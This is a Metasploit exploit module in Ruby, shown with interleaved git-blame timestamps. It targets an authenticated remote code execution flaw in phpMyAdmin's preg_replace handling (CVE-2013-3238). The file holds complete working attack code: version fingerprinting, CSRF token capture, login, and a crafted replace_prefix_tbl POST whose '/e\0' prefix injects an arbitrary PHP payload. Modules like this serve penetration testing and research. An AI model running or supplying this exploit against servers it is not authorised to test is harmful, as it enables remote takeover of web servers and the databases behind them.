metasploit-framework/modules/exploits/multi/http/phpmyadmin_preg_replace.rb

182 lines
4.8 KiB
Ruby
Raw Normal View History

2013-04-26 13:32:18 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2013-04-26 22:37:26 +00:00
'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
'Description' => %q{
2013-04-26 22:58:08 +00:00
This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
PHP versions > 5.4.6 are not vulnerable.
2013-04-26 13:32:18 +00:00
},
'Author' =>
2013-04-26 13:32:18 +00:00
[
'Janek "waraxe" Vind', # Discovery
2013-04-26 14:41:28 +00:00
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
2013-04-26 13:32:18 +00:00
],
'License' => MSF_LICENSE,
'References' =>
2013-04-26 13:32:18 +00:00
[
2013-04-26 14:41:28 +00:00
[ 'CVE', '2013-3238' ],
[ 'PMASA', '2013-2'],
[ 'waraxe', '2013-SA#103' ],
2013-04-27 09:35:49 +00:00
[ 'EDB', '25003'],
[ 'OSVDB', '92793'],
2013-04-26 14:41:28 +00:00
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
2013-04-26 22:37:26 +00:00
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
2013-04-26 13:32:18 +00:00
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
2013-04-26 13:32:18 +00:00
{
2013-04-26 18:19:11 +00:00
'BadChars' => "&\n=+%",
# Clear out PMA's error handler so it doesn't lose its mind
# and cause ENOMEM errors and segfaults in the destructor.
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
2013-04-26 14:41:28 +00:00
},
'Targets' =>
2013-04-26 13:32:18 +00:00
[
2013-04-26 14:41:28 +00:00
[ 'Automatic', { } ],
2013-04-26 13:32:18 +00:00
],
'DefaultTarget' => 0,
2013-04-26 14:41:28 +00:00
'DisclosureDate' => 'Apr 25 2013'))
2013-04-26 13:32:18 +00:00
register_options(
[
2013-04-27 09:39:27 +00:00
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
2013-04-26 13:32:18 +00:00
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
], self.class)
end
def check
2013-04-26 14:41:28 +00:00
begin
2013-04-27 09:35:49 +00:00
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
2013-04-26 14:41:28 +00:00
rescue
print_error("Unable to connect to server.")
return CheckCode::Unknown
end
2013-04-26 13:32:18 +00:00
2013-04-26 14:41:28 +00:00
if res.code != 200
print_error("Unable to query /js/messages.php")
return CheckCode::Unknown
end
2013-04-26 13:32:18 +00:00
2013-04-26 22:58:08 +00:00
php_version = res['X-Powered-By']
if php_version
print_status("PHP Version: #{php_version}")
if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
if $1.to_i > 5
return CheckCode::Safe
else
if $1.to_i == 5 and $2.to_i > 4
return CheckCode::Safe
else
if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
return CheckCode::Safe
end
end
end
end
2013-04-26 22:59:49 +00:00
else
print_status("Unknown PHP Version")
2013-04-26 22:58:08 +00:00
end
2013-04-26 14:41:28 +00:00
if res.body =~ /pmaversion = '(.*)';/
2013-04-26 22:58:08 +00:00
print_status("phpMyAdmin version: #{$1}")
2013-04-26 14:41:28 +00:00
case $1.downcase
when '3.5.8.1', '4.0.0-rc3'
return CheckCode::Safe
when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
return CheckCode::Vulnerable
else
if $1.starts_with? '3.5.'
return CheckCode::Vulnerable
end
return CheckCode::Unknown
end
2013-04-26 13:32:18 +00:00
end
end
def exploit
2013-04-27 09:35:49 +00:00
uri = target_uri.path
2013-04-26 22:38:27 +00:00
print_status("Grabbing CSRF token...")
2013-04-26 13:32:18 +00:00
response = send_request_cgi({ 'uri' => uri})
if response.nil?
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
end
if (response.body !~ /"token"\s*value="([^"]*)"/)
2013-04-26 16:10:24 +00:00
fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
2013-04-26 13:32:18 +00:00
else
print_good("Retrieved token")
end
token = $1
post = {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
print_status("Authenticating...")
login = send_request_cgi({
'method' => 'POST',
2013-04-27 09:35:49 +00:00
'uri' => normalize_uri(uri, 'index.php'),
2013-04-26 13:32:18 +00:00
'vars_post' => post
})
if login.nil?
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
end
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
2013-04-26 19:26:04 +00:00
cookies = login.get_cookies
2013-04-26 16:10:24 +00:00
login_check = send_request_cgi({
2013-04-27 09:35:49 +00:00
'uri' => normalize_uri(uri, 'index.php'),
2013-04-26 16:10:24 +00:00
'vars_get' => { 'token' => token },
2013-04-26 19:26:04 +00:00
'cookie' => cookies
2013-04-26 16:10:24 +00:00
})
if login_check.body =~ /Welcome to/
fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
else
print_good("Authentication successful")
2013-04-26 13:32:18 +00:00
end
2013-04-26 14:41:28 +00:00
db = rand_text_alpha(3+rand(3))
2013-04-26 18:19:11 +00:00
exploit_result = send_request_cgi({
2013-04-27 09:35:49 +00:00
'uri' => normalize_uri(uri, 'db_structure.php'),
2013-04-26 18:19:11 +00:00
'method' => 'POST',
2013-04-26 19:26:04 +00:00
'cookie' => cookies,
2013-04-26 18:19:11 +00:00
'vars_post' => {
'query_type' => 'replace_prefix_tbl',
'db' => db,
'selected[0]' => db,
'token' => token,
'from_prefix' => "/e\0",
'to_prefix' => payload.encoded,
'mult_btn' => 'Yes'
}
},1)
2013-04-26 13:32:18 +00:00
end
end